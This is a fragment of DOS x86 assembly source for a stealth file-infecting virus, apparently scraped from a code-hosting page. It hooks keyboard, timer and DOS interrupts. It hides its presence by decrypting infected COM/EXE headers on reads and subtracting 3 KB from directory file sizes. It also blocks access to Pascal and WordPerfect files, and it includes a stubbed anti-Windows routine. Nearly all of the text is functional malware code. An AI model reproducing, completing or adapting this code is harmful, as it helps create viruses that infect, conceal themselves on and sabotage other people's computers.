;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
choose_encryption_head:
mov ah,2Ah ;get date
call int21 ;using DOS
xor ah,ah ;clear bits 9-16 of AX
mov cx,ax ;copy AX into CX
inc cx
and cl,7
mov si,offset enc_data ;point SI to Enc_Data
cld ;clear direction flag
lete_etter_enc:
lodsb ;al=[si] , si=si+1
add si,ax ;si = si + ax
inc si ;si = si + 1
inc si ;si = si + 1
loop lete_etter_enc ;continue the searching ...
funnet_riktige:
sub si,ax
dec si
dec si
mov encr_h_len,al
lodsb ;load the CX offset
mov encr_h_cx,al
lodsb ;load the XOR offset
mov encr_h_xor,al
mov encr_h_ofs,si
ret
;db 'Eddie lives... Somewhere in time...'
init:
cli
xor ax,ax
mov ds,ax
mov si,9*4
mov di,offset old_key
movsw
movsw
add si,(1Ch*4)-(9*4)-4
mov di,offset oldh
movsw
movsw
add si,(21h*4)-(1Ch*4)-4
mov di,offset org21
movsw
movsw
mov word [09h*4+2],cs
mov word [09h*4], offset key_rout
mov word [1Ch*4+2],cs
mov word [1Ch*4], offset tmr_rout
mov word [21h*4+2],cs
mov word [21h*4], offset ni21
sti
retf
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> Disk Stealth: Read from handle (Int 21h,3Fh) <20>޳
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
read:
call push_all
mov cs:_handle,bx
mov cs:_bytes,cx
push cs
pop ds
mov ax,1220h
push bx
push ax
int 2Fh
mov bl,es:[di]
pop ax
sub al,0Ah
int 2Fh
pop bx
cmp word ptr [di+28h],'OC'
jne j_dso1
cmp byte ptr [di+28h+2],'M'
je j_dso0
j_dso1:
cmp word ptr [di+28h],'XE'
jne j_dso3
cmp byte ptr [di+28h+2],'E'
je j_dso0
j_dso3:
jmp phocked
j_dso0:
push es:[di+15h]
push es:[di+17h]
push es:[di+2h]
or byte es:[di+2],3
mov ax,es:[di+15h]
mov pos[0],ax
mov ax,es:[di+17h]
mov pos[2],ax
mov ax,es:[di+11h]
mov cx,es:[di+13h]
sub ax,31
sbb cx,0
mov es:[di+15h],ax
mov es:[di+17h],cx
mov ah,3Fh
mov cx,31
mov dx,header
call int21
jnc read_b1
read_b2:
jmp done_it
read_b1:
cmp al,31
jne read_b2
cmp byte [header+18h],11
jl read_b2
cmp word ptr [header+1Bh],'CP' ;[X_sig]
jne read_b2
cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2]
jne read_b2
mov si,header
push cx
mov cx,12
decr_l8b:
lodsw
xor ax,'EL'
xor ax,'AH'
xor ax,'W&'
xor ax,'HS'
xor ax,'IF'
mov [si-2],ax
loop decr_l8b
pop cx
cmp word ptr pos[2],0
jne vid4
cmp word pos[0],23 ;2
ja vid4
mov stat2,1
mov ax,pos[0]
mov bx,_bytes
cmp bx,24
jb vid5
mov bx,24
vid5:
sub bx,ax
mov stealth1st[0],bx
vid4:
mov ax,es:[di+11h]
mov dx,es:[di+13h]
sub ax,[header+19h] ;[x_size]
sbb dx,0
mov val_len[0],ax
mov val_len[2],dx
mov bx,pos[0]
mov cx,pos[2]
cmp cx,dx
jbe vid2
mov _bytes,0
jmp done_it
vid2:
cmp cx,dx
jne vid3
cmp bx,ax
jb vid3
mov _bytes,0
jmp done_it
vid3:
mov ax,val_len[0]
mov dx,val_len[2]
mov bx,pos[0]
mov cx,pos[2]
add bx,_bytes
adc cx,0
cmp cx,dx
jae vid
mov _bytes,0
jmp done_it
vid:
cmp cx,dx
jne done_it
cmp ax,bx
jae done_it
sub bx,ax
sub _bytes,bx
done_it:
pop es:[di+2] ;restore SFT data's
pop es:[di+17h]
pop es:[di+15h]
phocked:
call pop_all
mov cx,cs:_bytes ;change CX (if of any use)
ret ;return
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
;<3B><><EFBFBD> DIR Stealth <20>޳
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޳
stealth_dir_handle:
jc done_stealthing_handle
pushf
call push_all
mov ah,2Fh
call int21
mov ax,word ptr es:[bx+16h]
and al,31
cmp al,sec
jne done_stealthing_handle
cmp word es:[bx+1Ah],3*1024
jc done_stealthing_handle
sub word es:[bx+1Ah],3*1024
sbb word es:[bx+1Ch],0
done_stealthing_handle:
jmp done_stealthing_fcb
stealth_dir_fcb:
pushf
call push_all
mov ah,2Fh
call int21
cmp byte es:[bx],0FFh ;extended fcb?
jne no_ext_fcb
add bx,7
no_ext_fcb:
mov al,byte ptr es:[bx+17h]
and al,31
cmp al,sec
jne done_stealthing_fcb
cmp word es:[bx+1Dh],3*1024
jc done_stealthing_fcb
sub word es:[bx+1Dh],3*1024
sbb word es:[bx+1Fh],0
done_stealthing_fcb:
call pop_all
popf
ret
reset_i24: push ds
push dx
push ax
lds dx,cs:o24[0]
mov ax,2524h ;restore int 24 vector
call int21
pop ax
pop dx
pop ds
ret
wpbuff db ' '
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; Deny access to any PASCAL or WORD PERFECT files
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
PAS_WP:
xchg bx,ax
mov si,dx
cld
search_pas:
lodsw
dec si
cmp al,0
je not_pas
cmp ah,0
je not_pas
and ax,0DFDFh
cmp ax,'P.' and 0DFDFh
jne search_pas
mov ax,word [si+1]
and ax,0DFDFh
cmp ax,'SA'
je fuck_wp
not_pas:
xchg bx,ax
call int21
jc not_wp
xchg bx,ax
cmp bx,5
jb not_wp
xor si,si
mov ah,3Fh
mov cx,3
push cs
pop ds
mov dx,offset wpbuff
call int21
jc close_wp
cmp cx,3
jne close_wp
cmp word wpbuff[1],'PW'
jne close_wp
inc si
close_wp:
mov ah,3Eh
call int21
cmp si,0
je not_wp
fuck_wp: pop si
call reset_i24
call pop_all
popf
mov ax,4
stc
retf 2
not_wp:
mov ah,3Dh
ret
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; Anti WiNDOWS Routine
; (Just started... Not at all ready!!!)
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
windows:
ret
;; call push_all
; xchg cx,ax
; mov di,dx
; push ds
; pop es
; cld
; xor al,al
;winsrc: repnz scasb
; jne win_fail
;
; sub di,8
; xchg si,di
;db 'Elo<6C>, Elo<6C>, lam<61> sabakt<6B>ni?'
dummy db 18h dup(0) ;3
version db ver ;\
size dw (offset total)-100h ; > 6 bytes
db 'PCBB' ;/
total:
tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2

Reference in New Issue Copy Permalink